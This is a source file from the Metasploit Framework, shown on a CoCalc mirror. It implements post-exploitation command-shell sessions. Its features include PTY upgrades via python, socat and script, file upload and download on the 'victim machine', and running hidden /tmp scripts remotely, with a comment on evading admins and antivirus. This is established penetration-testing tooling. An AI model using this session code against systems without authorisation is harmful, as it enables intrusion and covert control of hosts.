CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/base/sessions/command_shell.rb
Views: 11784
1
# -*- coding: binary -*-
2
require 'shellwords'
3
require 'rex/text/table'
4
require "base64"
5
6
module Msf
7
module Sessions
8
9
###
10
#
11
# This class provides basic interaction with a command shell on the remote
12
# endpoint. This session is initialized with a stream that will be used
13
# as the pipe for reading and writing the command shell.
14
#
15
###
16
class CommandShell
17
18
#
19
# This interface supports basic interaction.
20
#
21
include Msf::Session::Basic
22
23
#
24
# This interface supports interacting with a single command shell.
25
#
26
include Msf::Session::Provider::SingleCommandShell
27
28
include Msf::Sessions::Scriptable
29
30
include Rex::Ui::Text::Resource
31
32
@@irb_opts = Rex::Parser::Arguments.new(
33
['-h', '--help'] => [false, 'Help menu.' ],
34
'-e' => [true, 'Expression to evaluate.']
35
)
36
37
##
38
# :category: Msf::Session::Scriptable implementors
39
#
40
# Runs the shell session script or resource file.
41
#
42
def execute_file(full_path, args)
43
if File.extname(full_path) == '.rb'
44
Rex::Script::Shell.new(self, full_path).run(args)
45
else
46
load_resource(full_path)
47
end
48
end
49
50
#
51
# Returns the type of session.
52
#
53
def self.type
54
"shell"
55
end
56
57
def self.can_cleanup_files
58
true
59
end
60
61
def initialize(conn, opts = {})
62
self.platform ||= ""
63
self.arch ||= ""
64
self.max_threads = 1
65
@cleanup = false
66
datastore = opts[:datastore]
67
if datastore && !datastore["CommandShellCleanupCommand"].blank?
68
@cleanup_command = datastore["CommandShellCleanupCommand"]
69
end
70
super
71
end
72
73
#
74
# Returns the session description.
75
#
76
def desc
77
"Command shell"
78
end
79
80
#
81
# Calls the class method
82
#
83
def type
84
self.class.type
85
end
86
87
def abort_foreground_supported
88
self.platform != 'windows'
89
end
90
91
##
92
# :category: Msf::Session::Provider::SingleCommandShell implementors
93
#
94
# The shell will have been initialized by default.
95
#
96
def shell_init
97
return true
98
end
99
100
def bootstrap(datastore = {}, handler = nil)
101
session = self
102
103
if datastore['AutoVerifySession']
104
session_info = ''
105
106
# Read the initial output and mash it into a single line
107
# Timeout set to 1 to read in banner of all payload responses (may capture prompt as well)
108
# Encoding is not forced to support non ASCII shells
109
if session.info.nil? || session.info.empty?
110
banner = shell_read(-1, 1)
111
if banner && !banner.empty?
112
banner.gsub!(/[^[:print:][:space:]]+/n, "_")
113
banner.strip!
114
115
session_info = @banner = %Q{
116
Shell Banner:
117
#{banner}
118
-----
119
}
120
end
121
end
122
123
token = Rex::Text.rand_text_alphanumeric(8..24)
124
response = shell_command("echo #{token}")
125
unless response&.include?(token)
126
dlog("Session #{session.sid} failed to respond to an echo command")
127
print_error("Command shell session #{session.sid} is not valid and will be closed")
128
session.kill
129
return nil
130
end
131
132
# Only populate +session.info+ with a captured banner if the shell is responsive and verified
133
session.info = session_info if session.info.blank?
134
session
135
else
136
# Encrypted shells need all information read before anything is written, so we read in the banner here. However we
137
# don't populate session.info with the captured value since without AutoVerify there's no way to be certain this
138
# actually is a banner and not junk/malicious input
139
if session.class == ::Msf::Sessions::EncryptedShell
140
shell_read(-1, 0.1)
141
end
142
end
143
end
144
145
#
146
# Return the subdir of the `documentation/` directory that should be used
147
# to find usage documentation
148
#
149
def docs_dir
150
File.join(super, 'shell_session')
151
end
152
153
#
154
# List of supported commands.
155
#
156
def commands
157
{
158
'help' => 'Help menu',
159
'background' => 'Backgrounds the current shell session',
160
'sessions' => 'Quickly switch to another session',
161
'resource' => 'Run a meta commands script stored in a local file',
162
'shell' => 'Spawn an interactive shell (*NIX Only)',
163
'download' => 'Download files',
164
'upload' => 'Upload files',
165
'source' => 'Run a shell script on remote machine (*NIX Only)',
166
'irb' => 'Open an interactive Ruby shell on the current session',
167
'pry' => 'Open the Pry debugger on the current session'
168
}
169
end
170
171
def cmd_help_help
172
print_line "There's only so much I can do"
173
end
174
175
def cmd_help(*args)
176
cmd = args.shift
177
178
if cmd
179
unless commands.key?(cmd)
180
return print_error('No such command')
181
end
182
183
unless respond_to?("cmd_#{cmd}_help")
184
return print_error("No help for #{cmd}, try -h")
185
end
186
187
return send("cmd_#{cmd}_help")
188
end
189
190
columns = ['Command', 'Description']
191
192
tbl = Rex::Text::Table.new(
193
'Header' => 'Meta shell commands',
194
'Prefix' => "\n",
195
'Postfix' => "\n",
196
'Indent' => 4,
197
'Columns' => columns,
198
'SortIndex' => -1
199
)
200
201
commands.each do |key, value|
202
tbl << [key, value]
203
end
204
205
print(tbl.to_s)
206
print("For more info on a specific command, use %grn<command> -h%clr or %grnhelp <command>%clr.\n\n")
207
end
208
209
def cmd_background_help
210
print_line "Usage: background"
211
print_line
212
print_line "Stop interacting with this session and return to the parent prompt"
213
print_line
214
end
215
216
def cmd_background(*args)
217
if !args.empty?
218
# We assume that background does not need arguments
219
# If user input does not follow this specification
220
# Then show help (Including '-h' '--help'...)
221
return cmd_background_help
222
end
223
224
if prompt_yesno("Background session #{name}?")
225
self.interacting = false
226
end
227
end
228
229
def cmd_sessions_help
230
print_line('Usage: sessions <id>')
231
print_line
232
print_line('Interact with a different session Id.')
233
print_line('This command only accepts one positive numeric argument.')
234
print_line('This works the same as calling this from the MSF shell: sessions -i <session id>')
235
print_line
236
end
237
238
def cmd_sessions(*args)
239
if args.length != 1
240
print_status "Wrong number of arguments expected: 1, received: #{args.length}"
241
return cmd_sessions_help
242
end
243
244
if args[0] == '-h' || args[0] == '--help'
245
return cmd_sessions_help
246
end
247
248
session_id = args[0].to_i
249
if session_id <= 0
250
print_status 'Invalid session id'
251
return cmd_sessions_help
252
end
253
254
if session_id == self.sid
255
# Src == Dst
256
print_status("Session #{self.name} is already interactive.")
257
else
258
print_status("Backgrounding session #{self.name}...")
259
# store the next session id so that it can be referenced as soon
260
# as this session is no longer interacting
261
self.next_session = session_id
262
self.interacting = false
263
end
264
end
265
266
def cmd_resource(*args)
267
if args.empty? || args[0] == '-h' || args[0] == '--help'
268
cmd_resource_help
269
return false
270
end
271
272
args.each do |res|
273
good_res = nil
274
if res == '-'
275
good_res = res
276
elsif ::File.exist?(res)
277
good_res = res
278
elsif
279
# let's check to see if it's in the scripts/resource dir (like when tab completed)
280
[
281
::Msf::Config.script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter',
282
::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter'
283
].each do |dir|
284
res_path = ::File::join(dir, res)
285
if ::File.exist?(res_path)
286
good_res = res_path
287
break
288
end
289
end
290
end
291
if good_res
292
print_status("Executing resource script #{good_res}")
293
load_resource(good_res)
294
print_status("Resource script #{good_res} complete")
295
else
296
print_error("#{res} is not a valid resource file")
297
next
298
end
299
end
300
end
301
302
def cmd_resource_help
303
print_line "Usage: resource path1 [path2 ...]"
304
print_line
305
print_line "Run the commands stored in the supplied files. (- for stdin, press CTRL+D to end input from stdin)"
306
print_line "Resource files may also contain ERB or Ruby code between <ruby></ruby> tags."
307
print_line
308
end
309
310
def cmd_shell_help()
311
print_line('Usage: shell')
312
print_line
313
print_line('Pop up an interactive shell via multiple methods.')
314
print_line('An interactive shell means that you can use several useful commands like `passwd`, `su [username]`')
315
print_line('There are four implementations of it: ')
316
print_line('\t1. using python `pty` module (default choice)')
317
print_line('\t2. using `socat` command')
318
print_line('\t3. using `script` command')
319
print_line('\t4. upload a pty program via reverse shell')
320
print_line
321
end
322
323
def cmd_shell(*args)
324
if args.length == 1 && (args[0] == '-h' || args[0] == '--help')
325
# One arg, and args[0] => '-h' '--help'
326
return cmd_shell_help
327
end
328
329
if platform == 'windows'
330
print_error('Functionality not supported on windows')
331
return
332
end
333
334
# 1. Using python
335
python_path = binary_exists("python") || binary_exists("python3")
336
if python_path != nil
337
print_status("Using `python` to pop up an interactive shell")
338
# Ideally use bash for a friendlier shell, but fall back to /bin/sh if it doesn't exist
339
shell_path = binary_exists("bash") || '/bin/sh'
340
shell_command("#{python_path} -c \"#{ Msf::Payload::Python.create_exec_stub("import pty; pty.spawn('#{shell_path}')") } \"")
341
return
342
end
343
344
# 2. Using script
345
script_path = binary_exists("script")
346
if script_path != nil
347
print_status("Using `script` to pop up an interactive shell")
348
# Payload: script /dev/null
349
# Using /dev/null to make sure there is no log file on the target machine
350
# Prevent being detected by the admin or antivirus software
351
shell_command("#{script_path} /dev/null")
352
return
353
end
354
355
# 3. Using socat
356
socat_path = binary_exists("socat")
357
if socat_path != nil
358
# Payload: socat - exec:'bash -li',pty,stderr,setsid,sigint,sane
359
print_status("Using `socat` to pop up an interactive shell")
360
shell_command("#{socat_path} - exec:'/bin/sh -li',pty,stderr,setsid,sigint,sane")
361
return
362
end
363
364
# 4. Using pty program
365
# 4.1 Detect arch and destribution
366
# 4.2 Real time compiling
367
# 4.3 Upload binary
368
# 4.4 Change mode of binary
369
# 4.5 Execute binary
370
371
print_error("Can not pop up an interactive shell")
372
end
373
374
def self.binary_exists(binary, platform: nil, &block)
375
if block.call('command -v command').to_s.strip == 'command'
376
binary_path = block.call("command -v '#{binary}' && echo true").to_s.strip
377
else
378
binary_path = block.call("which '#{binary}' && echo true").to_s.strip
379
end
380
return nil unless binary_path.include?('true')
381
382
binary_path.split("\n")[0].strip # removes 'true' from stdout
383
end
384
385
#
386
# Returns path of a binary in PATH env.
387
#
388
def binary_exists(binary)
389
print_status("Trying to find binary '#{binary}' on the target machine")
390
391
binary_path = self.class.binary_exists(binary, platform: platform) do |command|
392
shell_command_token(command)
393
end
394
395
if binary_path.nil?
396
print_error("#{binary} not found")
397
else
398
print_status("Found #{binary} at #{binary_path}")
399
end
400
401
return binary_path
402
end
403
404
def cmd_download_help
405
print_line("Usage: download [src] [dst]")
406
print_line
407
print_line("Downloads remote files to the local machine.")
408
print_line("Only files are supported.")
409
print_line
410
end
411
412
def cmd_download(*args)
413
if args.length != 2
414
# no arguments, just print help message
415
return cmd_download_help
416
end
417
418
src = args[0]
419
dst = args[1]
420
421
# Check if src exists
422
if !_file_transfer.file_exist?(src)
423
print_error("The target file does not exist")
424
return
425
end
426
427
# Get file content
428
print_status("Download #{src} => #{dst}")
429
content = _file_transfer.read_file(src)
430
431
# Write file to local machine
432
File.binwrite(dst, content)
433
print_good("Done")
434
435
rescue NotImplementedError => e
436
print_error(e.message)
437
end
438
439
def cmd_upload_help
440
print_line("Usage: upload [src] [dst]")
441
print_line
442
print_line("Uploads load file to the victim machine.")
443
print_line("This command does not support to upload a FOLDER yet")
444
print_line
445
end
446
447
def cmd_upload(*args)
448
if args.length != 2
449
# no arguments, just print help message
450
return cmd_upload_help
451
end
452
453
src = args[0]
454
dst = args[1]
455
456
# Check target file exists on the target machine
457
if _file_transfer.file_exist?(dst)
458
print_warning("The file <#{dst}> already exists on the target machine")
459
unless prompt_yesno("Overwrite the target file <#{dst}>?")
460
return
461
end
462
end
463
464
begin
465
content = File.binread(src)
466
result = _file_transfer.write_file(dst, content)
467
print_good("File <#{dst}> upload finished") if result
468
print_error("Error occurred while uploading <#{src}> to <#{dst}>") unless result
469
rescue => e
470
print_error("Error occurred while uploading <#{src}> to <#{dst}> - #{e.message}")
471
elog(e)
472
return
473
end
474
475
rescue NotImplementedError => e
476
print_error(e.message)
477
end
478
479
def cmd_source_help
480
print_line("Usage: source [file] [background]")
481
print_line
482
print_line("Execute a local shell script file on remote machine")
483
print_line("This meta command will upload the script then execute it on the remote machine")
484
print_line
485
print_line("background")
486
print_line("`y` represent execute the script in background, `n` represent on foreground")
487
end
488
489
def cmd_source(*args)
490
if args.length != 2
491
# no arguments, just print help message
492
return cmd_source_help
493
end
494
495
if platform == 'windows'
496
print_error('Functionality not supported on windows')
497
return
498
end
499
500
background = args[1].downcase == 'y'
501
502
local_file = args[0]
503
remote_file = "/tmp/." + ::Rex::Text.rand_text_alpha(32) + ".sh"
504
505
cmd_upload(local_file, remote_file)
506
507
# Change file permission in case of TOCTOU
508
shell_command("chmod 0600 #{remote_file}")
509
510
if background
511
print_status("Executing on remote machine background")
512
print_line(shell_command("nohup sh -x #{remote_file} &"))
513
else
514
print_status("Executing on remote machine foreground")
515
print_line(shell_command("sh -x #{remote_file}"))
516
end
517
print_status("Cleaning temp file on remote machine")
518
shell_command("rm -rf '#{remote_file}'")
519
end
520
521
def cmd_irb_help
522
print_line('Usage: irb')
523
print_line
524
print_line('Open an interactive Ruby shell on the current session.')
525
print @@irb_opts.usage
526
end
527
528
#
529
# Open an interactive Ruby shell on the current session
530
#
531
def cmd_irb(*args)
532
expressions = []
533
534
# Parse the command options
535
@@irb_opts.parse(args) do |opt, idx, val|
536
case opt
537
when '-e'
538
expressions << val
539
when '-h'
540
return cmd_irb_help
541
end
542
end
543
544
session = self
545
framework = self.framework
546
547
if expressions.empty?
548
print_status('Starting IRB shell...')
549
print_status("You are in the \"self\" (session) object\n")
550
framework.history_manager.with_context(name: :irb) do
551
Rex::Ui::Text::IrbShell.new(self).run
552
end
553
else
554
# XXX: No vprint_status here
555
if framework.datastore['VERBOSE'].to_s == 'true'
556
print_status("You are executing expressions in #{binding.receiver}")
557
end
558
559
expressions.each { |expression| eval(expression, binding) }
560
end
561
end
562
563
def cmd_pry_help
564
print_line 'Usage: pry'
565
print_line
566
print_line 'Open the Pry debugger on the current session.'
567
print_line
568
end
569
570
#
571
# Open the Pry debugger on the current session
572
#
573
def cmd_pry(*args)
574
if args.include?('-h') || args.include?('--help')
575
cmd_pry_help
576
return
577
end
578
579
begin
580
require 'pry'
581
rescue LoadError
582
print_error('Failed to load Pry, try "gem install pry"')
583
return
584
end
585
586
print_status('Starting Pry shell...')
587
print_status("You are in the \"self\" (session) object\n")
588
Pry.config.history_load = false
589
framework.history_manager.with_context(history_file: Msf::Config.pry_history, name: :pry) do
590
self.pry
591
end
592
end
593
594
#
595
# Explicitly runs a single line command.
596
#
597
def run_single(cmd)
598
# Do nil check for cmd (CTRL+D will cause nil error)
599
return unless cmd
600
601
begin
602
arguments = Shellwords.shellwords(cmd)
603
method = arguments.shift
604
rescue ArgumentError => e
605
# Handle invalid shellwords, such as unmatched quotes
606
# See https://github.com/rapid7/metasploit-framework/issues/15912
607
end
608
609
# Built-in command
610
if commands.key?(method)
611
return run_builtin_cmd(method, arguments)
612
end
613
614
# User input is not a built-in command, write to socket directly
615
shell_write(cmd + command_termination)
616
end
617
618
#
619
# Run built-in command
620
#
621
def run_builtin_cmd(method, arguments)
622
# Dynamic function call
623
self.send('cmd_' + method, *arguments)
624
end
625
626
##
627
# :category: Msf::Session::Provider::SingleCommandShell implementors
628
#
629
# Explicitly run a single command, return the output.
630
#
631
def shell_command(cmd, timeout=5)
632
# Send the command to the session's stdin.
633
shell_write(cmd + command_termination)
634
635
etime = ::Time.now.to_f + timeout
636
buff = ""
637
638
# Keep reading data until no more data is available or the timeout is
639
# reached.
640
while (::Time.now.to_f < etime and (self.respond_to?(:ring) or ::IO.select([rstream], nil, nil, timeout)))
641
res = shell_read(-1, 0.01)
642
buff << res if res
643
timeout = etime - ::Time.now.to_f
644
end
645
646
buff
647
end
648
649
##
650
# :category: Msf::Session::Provider::SingleCommandShell implementors
651
#
652
# Read from the command shell.
653
#
654
def shell_read(length=-1, timeout=1)
655
begin
656
rv = rstream.get_once(length, timeout)
657
rlog(rv, self.log_source) if rv && self.log_source
658
framework.events.on_session_output(self, rv) if rv
659
return rv
660
rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
661
#print_error("Socket error: #{e.class}: #{e}")
662
shell_close
663
raise e
664
end
665
end
666
667
##
668
# :category: Msf::Session::Provider::SingleCommandShell implementors
669
#
670
# Writes to the command shell.
671
#
672
def shell_write(buf)
673
return unless buf
674
675
begin
676
rlog(buf, self.log_source) if self.log_source
677
framework.events.on_session_command(self, buf.strip)
678
rstream.write(buf)
679
rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
680
#print_error("Socket error: #{e.class}: #{e}")
681
shell_close
682
raise e
683
end
684
end
685
686
##
687
# :category: Msf::Session::Provider::SingleCommandShell implementors
688
#
689
# Closes the shell.
690
# Note: parent's 'self.kill' method calls cleanup below.
691
#
692
def shell_close()
693
self.kill
694
end
695
696
##
697
# :category: Msf::Session implementors
698
#
699
# Closes the shell.
700
#
701
def cleanup
702
return if @cleanup
703
704
@cleanup = true
705
if rstream
706
if !@cleanup_command.blank?
707
# this is a best effort, since the session is possibly already dead
708
shell_command_token(@cleanup_command) rescue nil
709
710
# we should only ever cleanup once
711
@cleanup_command = nil
712
end
713
714
# this is also a best-effort
715
rstream.close rescue nil
716
rstream = nil
717
end
718
super
719
end
720
721
#
722
# Execute any specified auto-run scripts for this session
723
#
724
def process_autoruns(datastore)
725
if datastore['InitialAutoRunScript'] && !datastore['InitialAutoRunScript'].empty?
726
args = Shellwords.shellwords( datastore['InitialAutoRunScript'] )
727
print_status("Session ID #{sid} (#{tunnel_to_s}) processing InitialAutoRunScript '#{datastore['InitialAutoRunScript']}'")
728
execute_script(args.shift, *args)
729
end
730
731
if (datastore['AutoRunScript'] && datastore['AutoRunScript'].empty? == false)
732
args = Shellwords.shellwords( datastore['AutoRunScript'] )
733
print_status("Session ID #{sid} (#{tunnel_to_s}) processing AutoRunScript '#{datastore['AutoRunScript']}'")
734
execute_script(args.shift, *args)
735
end
736
end
737
738
# Perform command line escaping wherein most chars are able to be escaped by quoting them,
739
# but others don't have a valid way of existing inside quotes, so we need to "glue" together
740
# a series of sections of the original command line; some sections inside quotes, and some outside
741
# @param arg [String] The command line arg to escape
742
# @param quote_requiring [Array<String>] The chars that can successfully be escaped inside quotes
743
# @param unquotable_char [String] The character that can't exist inside quotes
744
# @param escaped_unquotable_char [String] The escaped form of unquotable_char
745
# @param quote_char [String] The char used for quoting
746
def self._glue_cmdline_escape(arg, quote_requiring, unquotable_char, escaped_unquotable_char, quote_char)
747
current_token = ""
748
result = ""
749
in_quotes = false
750
751
arg.each_char do |char|
752
if char == unquotable_char
753
if in_quotes
754
# This token has been in an inside-quote context, so let's properly wrap that before continuing
755
current_token = "#{quote_char}#{current_token}#{quote_char}"
756
end
757
result += current_token
758
result += escaped_unquotable_char # Escape the offending percent
759
760
# Start a new token - we'll assume we're remaining outside quotes
761
current_token = ''
762
in_quotes = false
763
next
764
elsif quote_requiring.include?(char)
765
# Oh, it turns out we should have been inside quotes for this token.
766
# Let's note that, for when we actually append the token
767
in_quotes = true
768
end
769
current_token += char
770
end
771
772
if in_quotes
773
# The final token has been in an inside-quote context, so let's properly wrap that before continuing
774
current_token = "#{quote_char}#{current_token}#{quote_char}"
775
end
776
result += current_token
777
778
result
779
end
780
781
attr_accessor :arch
782
attr_accessor :platform
783
attr_accessor :max_threads
784
attr_reader :banner
785
786
protected
787
788
##
789
# :category: Msf::Session::Interactive implementors
790
#
791
# Override the basic session interaction to use shell_read and
792
# shell_write instead of operating on rstream directly.
793
def _interact
794
framework.events.on_session_interact(self)
795
framework.history_manager.with_context(name: self.type.to_sym) {
796
_interact_stream
797
}
798
end
799
800
##
801
# :category: Msf::Session::Interactive implementors
802
#
803
def _interact_stream
804
fds = [rstream.fd, user_input.fd]
805
806
# Displays +info+ on all session startups
807
# +info+ is set to the shell banner and initial prompt in the +bootstrap+ method
808
user_output.print("#{@banner}\n") if !@banner.blank? && self.interacting
809
810
run_single('')
811
812
while self.interacting
813
sd = Rex::ThreadSafe.select(fds, nil, fds, 0.5)
814
next unless sd
815
816
if sd[0].include? rstream.fd
817
user_output.print(shell_read)
818
end
819
if sd[0].include? user_input.fd
820
run_single((user_input.gets || '').chomp("\n"))
821
end
822
Thread.pass
823
end
824
end
825
826
# Functionality used as part of builtin commands/metashell support that isn't meant to be exposed
827
# as part of the CommandShell's public API
828
class FileTransfer
829
include Msf::Post::File
830
831
# @param [Msf::Sessions::CommandShell] session
832
def initialize(session)
833
@session = session
834
end
835
836
private
837
838
def vprint_status(s)
839
session.print_status(s)
840
end
841
842
attr_reader :session
843
end
844
845
def _file_transfer
846
raise NotImplementedError.new('Session does not support file transfers.') if session_type.ends_with?(':winpty')
847
848
FileTransfer.new(self)
849
end
850
end
851
852
end
853
end
854
855